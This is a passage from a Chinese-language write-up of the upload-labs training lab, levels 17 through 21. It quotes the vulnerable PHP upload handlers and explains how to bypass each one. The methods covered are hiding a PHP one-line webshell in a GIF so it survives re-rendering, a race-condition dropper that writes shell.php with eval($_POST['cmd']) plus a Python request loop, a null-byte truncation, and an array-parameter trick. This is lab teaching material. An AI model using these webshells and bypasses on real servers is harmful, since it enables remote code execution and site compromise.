if (($fileext == "png" ) && ($filetype =="image/png" )){ if (move_uploaded_file ($tmpname ,$target_path )){ $im = imagecreatefrompng ($target_path ); if ($im == false ){ $msg = "该文件不是png格式的图片!" ; @unlink ($target_path ); }else { srand (time ()); $newfilename = strval (rand ()).".png" ; $img_path = UPLOAD_PATH.'/' .$newfilename ; imagepng ($im ,$img_path ); @unlink ($target_path ); $is_upload = true ; } } else { $msg = "上传出错!" ; } }else if (($fileext == "gif" ) && ($filetype =="image/gif" )){ if (move_uploaded_file ($tmpname ,$target_path )){ $im = imagecreatefromgif ($target_path ); if ($im == false ){ $msg = "该文件不是gif格式的图片!" ; @unlink ($target_path ); }else { srand (time ()); $newfilename = strval (rand ()).".gif" ; $img_path = UPLOAD_PATH.'/' .$newfilename ; imagegif ($im ,$img_path ); @unlink ($target_path ); $is_upload = true ; } } else { $msg = "上传出错!" ; } }else { $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!" ; } } 补充知识: 二次渲染:后端重写文件内容 basename (path[,suffix]) ,没指定suffix则返回后缀名,有则不返回指定的后缀名strrchr (string ,char)函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。imagecreatefromgif ():创建一块画布,并从 GIF 文件或 URL 地址载入一副图像imagecreatefromjpeg ():创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像imagecreatefrompng ():创建一块画布,并从 PNG 文件或 URL 地址载入一副图像
先判断文件后缀,然后判断多媒体类型,在调用imagecreatefromgif等函数
这类函数会重写文件内容,剔除不相关的数据
也就是说,将一句话木马插入图片,重写的时候会把一句话木马剔除,为干净的图片文件
对于做文件上传之二次渲染建议用GIF图片,相对于简单一点
上传正常的GIF图片下载回显的图片,用010Editor编辑器进行对比两个GIF图片内容,找到相同的地方(指的是上传前和上传后,两张图片的部分Hex仍然保持不变的位置)并插入PHP一句话,上传带有PHP一句话木马的GIF图片
这个马大家需要找一找,网上有一些现成的
pass-18
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $ext_arr = array ('jpg' ,'png' ,'gif' ); $file_name = $_FILES ['upload_file' ]['name' ]; $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $file_ext = substr ($file_name ,strrpos ($file_name ,"." )+1 ); $upload_file = UPLOAD_PATH . '/' . $file_name ; if (move_uploaded_file ($temp_file , $upload_file )){ if (in_array ($file_ext ,$ext_arr )){ $img_path = UPLOAD_PATH . '/' . rand (10 , 99 ).date ("YmdHis" )."." .$file_ext ; rename ($upload_file , $img_path ); $is_upload = true ; }else { $msg = "只允许上传.jpg|.png|.gif类型文件!" ; unlink ($upload_file ); } }else { $msg = '上传出错!' ; } }
条件竞争之时间竞争
审计代码,move_uploaded_file函数已经把文件上传到服务端了,然后再判断文件类型,如果不满足再删除文件
也就是说,文件在被删除之前存在服务器一段时间
先用bp抓包,然后发送大量的包,利用bp的Intruder模块
条件竞争.php
1 2 3 <?php fputs(fopen('shell.php' ,'w' ),'<?php @eval($_POST["cmd"]) ?>' ); ?>
用python持续请求
1 2 3 4 5 6 7 8 import requestsurl = "<http://127.0.0.1/upload-labs-new/upload/%E6%9D%A1%E4%BB%B6%E7%AB%9E%E4%BA%89.php>" while True : try : html = requests.get(url) print (html) except : pass
html如果返回200,则说明请求到了,然后就会在对应文件夹中生成一个shell.php
pass-19
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 //index.php $is_upload = false; $msg = null; if (isset($_POST['submit' ])){ require_once("./myupload.php" ); $imgFileName =time(); $u = new MyUpload($_FILES['upload_file' ]['name' ], $_FILES['upload_file' ]['tmp_name' ], $_FILES['upload_file' ]['size' ],$imgFileName); $status_code = $u->upload(UPLOAD_PATH); switch ($status_code) { case 1 : $is_upload = true; $img_path = $u->cls_upload_dir . $u->cls_file_rename_to; break ; case 2 : $msg = '文件已经被上传,但没有重命名。' ; break ; case -1 : $msg = '这个文件不能上传到服务器的临时文件存储目录。' ; break ; case -2 : $msg = '上传失败,上传目录不可写。' ; break ; case -3 : $msg = '上传失败,无法上传该类型文件。' ; break ; case -4 : $msg = '上传失败,上传的文件过大。' ; break ; case -5 : $msg = '上传失败,服务器已经存在相同名称文件。' ; break ; case -6 : $msg = '文件无法上传,文件不能复制到目标目录。' ; break ; default: $msg = '未知错误!' ; break ; } } //myupload.php class MyUpload {...... ...... ...... var $cls_arr_ext_accepted = array( ".doc" , ".xls" , ".txt" , ".pdf" , ".gif" , ".jpg" , ".zip" , ".rar" , ".7z" ,".ppt" , ".html" , ".xml" , ".tiff" , ".jpeg" , ".png" ); ...... ...... ...... /** upload() ** ** Method to upload the file. ** This is the only method to call outside the class . ** @para String name of directory we upload to ** @returns void **/ function upload( $dir ){ $ret = $this->isUploadedFile(); if ( $ret != 1 ){ return $this->resultUpload( $ret ); } $ret = $this->setDir( $dir ); if ( $ret != 1 ){ return $this->resultUpload( $ret ); } $ret = $this->checkExtension(); if ( $ret != 1 ){ return $this->resultUpload( $ret ); } $ret = $this->checkSize(); if ( $ret != 1 ){ return $this->resultUpload( $ret ); } // if flag to check if the file exists is set to 1 if ( $this->cls_file_exists == 1 ){ $ret = $this->checkFileExists(); if ( $ret != 1 ){ return $this->resultUpload( $ret ); } } // if we are here, we are ready to move the file to destination $ret = $this->move(); if ( $ret != 1 ){ return $this->resultUpload( $ret ); } // check if we need to rename the file if ( $this->cls_rename_file == 1 ){ $ret = $this->renameFile(); if ( $ret != 1 ){ return $this->resultUpload( $ret ); } } // if we are here, everything worked as planned :) return $this->resultUpload( "SUCCESS" ); } ...... ...... ...... };
条件竞争之重命名竞争
顾名思义,就是文件上传到服务端后,再进行改名操作
所以我们需要在改名前,访问该文件,跟上一关类似,也是python死循环请求,bp不间断发包
但是审计代码,发现上传的文件类型不属于木马脚本类型,所以需要配合中间件解析漏洞或文件包含漏洞来配合使用
pass-20
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 $is_upload = false; $msg = null; if (isset($_POST['submit' ])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array("php" ,"php5" ,"php4" ,"php3" ,"php2" ,"html" ,"htm" ,"phtml" ,"pht" ,"jsp" ,"jspa" ,"jspx" ,"jsw" ,"jsv" ,"jspf" ,"jtml" ,"asp" ,"aspx" ,"asa" ,"asax" ,"ascx" ,"ashx" ,"asmx" ,"cer" ,"swf" ,"htaccess" ); $file_name = $_POST['save_name' ]; $file_ext = pathinfo($file_name,PATHINFO_EXTENSION); if (!in_array($file_ext,$deny_ext)) { $temp_file = $_FILES['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; }else { $msg = '上传出错!' ; } }else { $msg = '禁止保存为该类型文件!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
文件名可控,采用0x00方式绕过
pass-21
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 $is_upload = false; $msg = null; if (!empty($_FILES['upload_file' ])){ //检查MIME $allow_type = array('image/jpeg' ,'image/png' ,'image/gif' ); if (!in_array($_FILES['upload_file' ]['type' ],$allow_type)){ $msg = "禁止上传该类型文件!" ; }else { //检查文件名 $file = empty($_POST['save_name' ]) ? $_FILES['upload_file' ]['name' ] : $_POST['save_name' ]; if (!is_array($file)) { $file = explode('.' , strtolower($file)); } $ext = end($file); $allow_suffix = array('jpg' ,'png' ,'gif' ); if (!in_array($ext, $allow_suffix)) { $msg = "禁止上传该后缀文件!" ; }else { $file_name = reset($file) . '.' . $file[count($file) - 1 ]; $temp_file = $_FILES['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $msg = "文件上传成功!" ; $is_upload = true; } else { $msg = "文件上传失败!" ; } } } }else { $msg = "请选择要上传的文件!" ; }
代码审计
这一关白名单 验证过程:
--> 验证上传路径是否存在
--> 验证['upload_file']的content-type是否合法(可以抓包修改)
-->
判断POST参数是否为空定义$file变量(关键:构造数组绕过下一步的判断)
-->判断file不是数组则使用explode('.',
strtolower($file))对file进行切割,将file变为一个数组
--> 判断数组最后一个元素是否合法
--> 数组第一位和 file) -
1]进行拼接,产生保存文件名file_name
--> 上传文件
1 2 3 4 5 补充知识: explode(separator,string[,limit]) 函数,使用一个字符串分割另一个字符串,并返回由字符串组成的数组。 end(array)函数,输出数组中的当前元素和最后一个元素的值。 reset(array)函数,把数组的内部指针指向第一个元素,并返回这个元素的值 count(array)函数,计算数组中的单元数目,或对象中的属性个数
代码没有对文件名进行检查,只是对post的数据进行判断
那么可以直接上传一个一句话木马
我们要改的就是下面的要求
修改content-type
修改POST参数为数组类型,索引[0]为upload.php,索引[2]为jpg|png|gif。
只要第二个索引不为1, file) -
1]就等价于$file[2-1],值为空
成功上传。